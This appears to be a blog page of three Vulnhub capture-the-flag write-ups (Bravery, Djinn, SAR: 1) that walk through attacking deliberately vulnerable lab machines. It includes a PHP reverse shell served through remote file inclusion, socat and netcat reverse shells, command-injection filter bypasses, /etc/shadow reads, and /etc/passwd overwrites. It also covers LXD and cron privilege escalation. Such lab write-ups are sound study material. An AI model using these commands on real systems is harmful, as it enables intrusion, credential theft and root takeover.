Monday, 26 April 2021

Vulnhub Writeup: Bravery

Vulnhub - Bravery

Vulnhub Writeup - Bravery



This machine hopes to inspire BRAVERY in you; this machine may surprise you from the outside. This is designed for OSCP practice, and the original version of the machine was used for a CTF. It is now revived, and made more nefarious than the original.

If you MUST have hints for this machine (even though they will probably not help you very much until you root the box!): Bravery is (#1): a positive trait in people, (#2): another way of saying “try harder”, (#3):

Note: There may be more than one method to obtain root privileges on this machine. Look around you!

Feel free to contact the author at if you would like to drop a comment.

You can download the box from vulnhub here.

Initial Scans

nmap -sn

Server is up on IP

sudo autorecon

Open Ports

22/tcp    open  ssh         syn-ack ttl 64 OpenSSH 7.4 (protocol 2.0)
53/tcp    open  domain      syn-ack ttl 64 dnsmasq 2.76
139/tcp   open  netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp   open  ssl/http    syn-ack ttl 64 Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/
445/tcp   open  netbios-ssn syn-ack ttl 64 Samba smbd 4.7.1 (workgroup: WORKGROUP)
2049/tcp  open  nfs_acl     syn-ack ttl 64 3 (RPC #100227)
3306/tcp  open  mysql       syn-ack ttl 64 MariaDB (unauthorized)
8080/tcp  open  http        syn-ack ttl 64 nginx 1.12.2
20048/tcp open  mountd      syn-ack ttl 64 1-3 (RPC #100005)
43670/tcp open  nlockmgr    syn-ack ttl 64 1-4 (RPC #100021)
49743/tcp open  status      syn-ack ttl 64 1 (RPC #100024)

Initial thoughts

  • 22/ssh open
  • 80/http open
    • nothing much from initial gobuster scan
    • some files / usernames in /uploads/
  • 111/rpc open
    • appears to be a bunch of files readable on /var/nfsshare
  • 139/SMB
    • Users: david, rick
    • NETBIOS Hostname: BRAVERY
    • several shares, ipc, anonymous, secured
    • anonymous share readable
  • 443/HTTPS
    • localhost.localdomain cert name
    • similar (or same) structure to HTTP from gobuster initial
  • 2049/NFS
  • 3306/MySQL
  • 8080/HTTP
    • robots.txt
    • /about gives a file download
    • /public has a website
    • /private is 403
  • some high RPC ports

file from /about:

********** ABOUT US *********

* We are a fun-loving group *
  that takes our work quite
* seriously. In our line of *
  work, we believe that the 
* most important quality of *
  our work is our effort to 
  takes courage. We believe 
* we can strive for greater *
  heights, and achieve good
* things as long as we dare *
  to TRY HARDER. Are you up 
* to our challenge? I think *
  you should TRY HARDER! :) 
*                           *



find nfs shares

showmount -e


mounting the share

sudo mount -t nfs /tmp/nfsshare

nfs files

the itinerary/david file contains various information about David’s schedule. May be useful later as a wordlist?


finding smb shares

smbmap -u '' -p '' -H

mounting the share

sudo mount -t cifs // /tmp/anonymous

smb files

lots of files in here are zero length, this is to cleanup

cp -r * ~/htb/bravery/files/anonymous
cd ~/htb/bravery/files/anonymous
find ./ -type f -size 0 -delete
find ./ -type d -empty -delete


need to migrate CMS. obsolete. speak to qiu about temporarily using her IIS to test a sharepoint installation.

Website and Initial Foothold


gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u

gobuster webroot

The website has some browsable directories at /uploads.

a clue on the website at

Remind gen to set up my cuppaCMS account.

Clicking around on the genevieve homepage leads to cuppaCMS

cuppacms link

searchsploit has an RFI (Remote File Inclusion) at…/…/…/…/…/…/…/…/…/…/etc/passwd


Call back to my local server working at


With this RFI we can host a php simple reverse shell file locally and get the webserver to read and execute it. Save the following code in catch.php

    echo "This is a test";

    if (isset($_REQUEST['faltshell'])) {
        $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);

Then on the attacker machine run up a simple webserver

python -m SimpleHTTPServer

Set up a netcat listener

nc -lvnp 1998

Then launch the RFI on the webserver

basic shell

Privesc to root

One of the first things I try on a box once I have shell is to check for any non standard SUID/SGID binaries. On this box the cp binary is set with the SUID bit!

commands to check for SUID/SGID

find / -perm -4000 -type f 2>/dev/null | xargs ls -la
find / -perm -2000 -type f 2>/dev/null | xargs ls -la

We can essentially read and write any file as root

read file

/usr/bin/cp /etc/shadow /dev/stdout

Being able to write to /etc/passwd means we can create a new root level user with a known password

cat /etc/passwd > /tmp/passwd

Use openssl to generate a password hash

openssl passwd -1 -salt salt pass123 

insert the new root level user and password hash into the copied passwd file, then overwrite the main file.

echo 'newuser:$1$salt$wYA1OLWmuL0.PdCmjvhHV0:0:0:newuser:/root:/bin/bash' >> /tmp/passwd
/usr/bin/cp /tmp/temppasswd /etc/passwd

creating the user

In order to use the su command and be able to type a password, we need a propper tty. The following will mess up your console while typing, but keep going, it gets better!

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

Press CTRL+Z

stty size
stty raw -echo

stty rows XX cols XX

Now the shell should look more normal. su should now work.

su to the new user account and enter pass123 as the password.

su newuser

Enter the password created and the box is done!


Written with StackEdit.

Sunday, 18 April 2021

Vulnhub Writeup: Djinn

Vulnhub - Djinn

Vulnhub: Djinn


Level: Beginner-Intermediate
flags: user.txt and root.txt
Description: The machine is VirtualBox as well as VMWare compatible. The DHCP will assign an IP automatically. You’ll see the IP right on the login screen. You have to find and read two flags (user and root) which is present in user.txt and root.txt respectively.
Format: Virtual Machine (Virtualbox - OVA)
Operating System: Linux

You can download the box from vulnhub here.

Initial Scans

nmap -sn

Server is up on IP

sudo autorecon

Open Ports

21/tcp   open     ftp     syn-ack ttl 64 vsftpd 3.0.3
22/tcp   filtered ssh     no-response
1337/tcp open     waste?  syn-ack ttl 64
7331/tcp open     http    syn-ack ttl 64 Werkzeug httpd 0.16.0 (Python 2.7.15+)

21/tcp - vsftpd 3.0.3

Anonymous ftp is allowed

anon ftp allowed




oh and I forgot to tell you I’ve setup a game for you on port 1337. See if you can reach to the
final level and get the prize.


@nitish81299 I am going on holidays for few days, please take care of all the work.
And don’t mess up anything.

22/tcp - ssh

Port is filtered, possibly a sign of port knocking.


Here’s the game we were told about

here's the game

I’ll come back to this later after checking out the website. Looks like a script could be written to answer the questions or maybe there is a classic binary exploit.

lots of A

looks like lots of digits might cause something - no response…

lots of 9

7331/tcp - Werkzeug httpd 0.16.0 (Python 2.7.15+)



None of the links lead anywhere, nothing much in page source


I normally use directory-list-2.3-big.txt but this is huge and running against this Werkzeug webserver is slow.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -u -o gobuster-root-raft-small-dir.txt

gobuster small results

Tried with large, no additional. Tried busting /genie/XXX nothing additional, likely these are python endpoints and not actual directories.

Entering a “wish” at /wish sends a POST to /wish which redirects to /genie?name=


Unfortunately the genie didn’t grant my wish…


This isn’t actually a 403 response, it’s a 200

http response

Entering some data in the name parameter puts the content in the response. Might be good for XSS but unlikely XSS will do anything on a boot2root box.


I’ll come back to this a bit later once I’ve had another look at the game port.

Back to the game port 1337

So after spending too long writing a PowerShell script to play the game, it finally returned the gift!

$VerbosePreference = "continue"
$Server = ""
$Port   = "1337"

$Script:TcpConnection    = New-Object System.Net.Sockets.TcpClient($Server, $Port)
$Script:Stream           = $TcpConnection.GetStream()                              
$Script:Writer           = New-Object System.IO.StreamWriter($Stream)

$Writer.AutoFlush = $true

$Script:Bytes = New-Object System.Byte[] $TcpConnection.ReceiveBufferSize
$Script:Encoding = New-Object System.Text.AsciiEncoding

function ReadStream {
    while (-not($Stream.DataAvailable)) {
        start-sleep -m 100
    while( $Stream.DataAvailable ) {
            $Read = $stream.Read($Bytes, 0, $TcpConnection.ReceiveBufferSize )
            $last = ($Encoding.GetString($Bytes, 0, $Read)).trim()
            Write-Host $last -nonewline
    Return $Last

$loopNo = 1..1005

foreach ($no in $loopNo) {
  Write-Host "Starting Loop: $($No)" -Foregroundcolor Green
  $last = ReadStream
  $instruction = $last.Split("(")[-1]
  if ($last -match "gift") {Write-Host $last -foregroundcolor Cyan}
  if ($last -match "Wrong") {write-error "fucked" ; break}

  [int]$num1 = $instruction.split(",").trim()[0]
  $op = $instruction.split(",").trim()[1]
  [int]$num2 = $instruction.split(",")[2].split(")")[0]

  switch ($op) {
    "'/'" {$answer = $num1/$num2 ; break}
    "'*'" {$answer = $num1*$num2 ; break}
    "'+'" {$answer = $num1+$num2 ; break}
    "'-'" {$answer = $num1-$num2 ; break}

  Write-Host " $($answer)" -Foregroundcolor Magenta


here's your gift

Looks like some port knocking ports to me!

We’re in bois!

we're in

Creds not working here…

oh well

back to the webserver to look for creds

It looks like some responses from /wish result in “Wrong+choice+of+words” in the response. I used intruder on /wish to determine bad characters.

burpsuite intruder

payload is all single printable characters to see what’s banned

loading characters in intruder

sorting by length in the intruder window, the banned characters are

$ * . / ; ? ^ w

hold on… “w”? that’s weird… And the result length is 895 which is much bigger…

intruder attack

OK so this forwards us to

looks like that’s the output from a command…

man w

Perhaps we can do command injection.

Lol it’s just straight up type a command, get a result! There are just some bad characters to work around. I guess the clue is in the parameter name cmd!

Here is a working call back ping using IP DWORD encoding

$ipdword = 0 ; $num = 3 ; "".split(".") | % {$ipdword += ([int]$_)*[math]::pow(256,$num) ; $num--} ; $ipdword

Here’s my working bypass for “/” character. Just base64 encode your commands, then evaluate the base64 back into a command on the target.

ryu@kali-local:~$ echo -n "cat /etc/passwd" | base64


Getting the output of using above method shows us an interesting file - creds.txt output

Getting the output of /home/nitish/.dev/creds.txt

command for creds

returning the creds


ssh logged in


user.txt proof

running sudo -l shows us a single command which can be run as sam

/usr/bin/genie is a custom binary

nitish can run sudo -u sam /usr/bin/genie -p bash -c ls which will spawn a shell as sam.


sam can run a single binary using sudo, but this time as root. Unfortunately the file cannot be read as sam and therefore attacking it is blind.

(root) NOPASSWD: /root/lago

sam is also in the lxd group so can create a container with root privs on the actual filesystem and write files as root.

Here is Conda’s excellent lxd video

And here’s all the commands

on attacker box

git clone
cd lxd-alpine-builder/rootfs/usr/share
sudo mkdir alpine-mirrors
cd alpine-mirrors/
echo "" | sudo tee MIRRORS.txt
cd ../../../../
sudo ./build-alpine
ls -al
python -m SimpleHTTPServer

on target

cd /tmp
lxd init

hit enter through all prompts

lxc image import ./alpine-v3.13-x86_64-20210401_2157.tar.gz --alias privesc
lxc init privesc privesc-container -c security.privileged=true
lxc list

should now have STOPPED container


now map the root fs and spawn a shell

lxc config device add privesc-container mydevice disk source=/ path=/mnt/root recursive=true
lxc start privesc-container
lxc exec privesc-container /bin/sh

now you have root write to the original root file system in /mnt/root. So you could do something like:

chmod +w /mnt/root/etc/sudoers
vi /mnt/root/etc/sudoers # edit your user to be "user ALL=(ALL:ALL) ALL"
chmod -w /mnt/root/etc/sudoers

sudo root



intended route?

Now we have root, we can read the /root/lago script (it can’t be read as sam so you’re attacking it blind normally.) The only function that results in anything other than a print statement is the random number game.

guess function

So I guess we need to work out how to send the same answer over and over until it’s correct.

I couldn’t work out how to send user input reliably so here is my quick and dirty method which involves typing “2, ENTER” over and over again!

while [ 1 ]; do sudo /root/lago; done

Awful hacky solution, but since the problem space is 1-100 it’s not too bad!

keep pressing 2!


This Medium post by Kanti Paul has a cool bypass for the whole box! Python injection in the “game” port 1337! Really impressed by this and a great trick to add to the toolbox!

Written with StackEdit.

Sunday, 11 April 2021

Vulnhub Writeup: SAR: 1

Vulnhub -

Vulnhub - SAR

SAR login screen


Sar is an OSCP-Like VM with the intent of gaining experience in the world of penetration testing.

You can download the box from vulnhub here.

Initial Scans

nmap -sn

Server is up on IP

sudo autorecon

Open Ports

Just a single port open

80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu))

80/tcp Apache httpd 2.4.29 ((Ubuntu))

Nikto shows /phpinfo.php exists.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -u -o root-raft-lg-files.log

gobuster files

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u -o root-dirlist-big.log -x php,html,txt,bak

robots.txt contains a single entry - sar2HTML


sar2html page

Version is shown on the homepage sar2html Ver 3.2.1. Looks like there is an RCE.

searchsploit sar2

Looks like it works!


Checking the ping works on local kali box

sudo tcpdump -vv -i eth1 icmp

ping callback

The output of the command is shown in the page source. Here I’ve just run cat /etc/passwd. Each line is in a seperate <option> tag.


Working reverse shell

socat tcp-connect: exec:/bin/sh,pty,stderr,setsid,sigint,sane

Full URL -;socat%20tcp-connect:,pty,stderr,setsid,sigint,sane

shell GET

full tty with bash

socat tcp-connect: exec:'bash -li',pty,stderr,setsid,sigint,sane

local listener (for full TTY)

socat file:`tty`,raw,echo=0 tcp-listen:1998
export TERM=xterm-256color

user.txt is readable as www-data


linpeas is showing a cron job that runs every 5 mins

cron job

which is in /etc/crontab

system wide crontab just calls which is writeable by www-data.

I’ll add the reverse shell to set up a listener and wait…

setting up reverse shell

and it works! Top tab in the image is running pspy64


Seems like a fairly straightforward machine. I learned about the socat reverse shell because there is no netcat -e or python binary (python3 is there so I could have used this.) socat is also a nice backup to python for upgrading to a full tty with password entry support for sudo. I also learned that /etc/crontab is the system wide crontab and a must check file!

Written with StackEdit.

Vulnhub Writeup: Glasgow Smile

Vulnhub - Glasgow Smile Vulnhub Writeup - Glasgow Smile 1.1 Description Title: Glasgow Smile Users: 5 Difficulty ...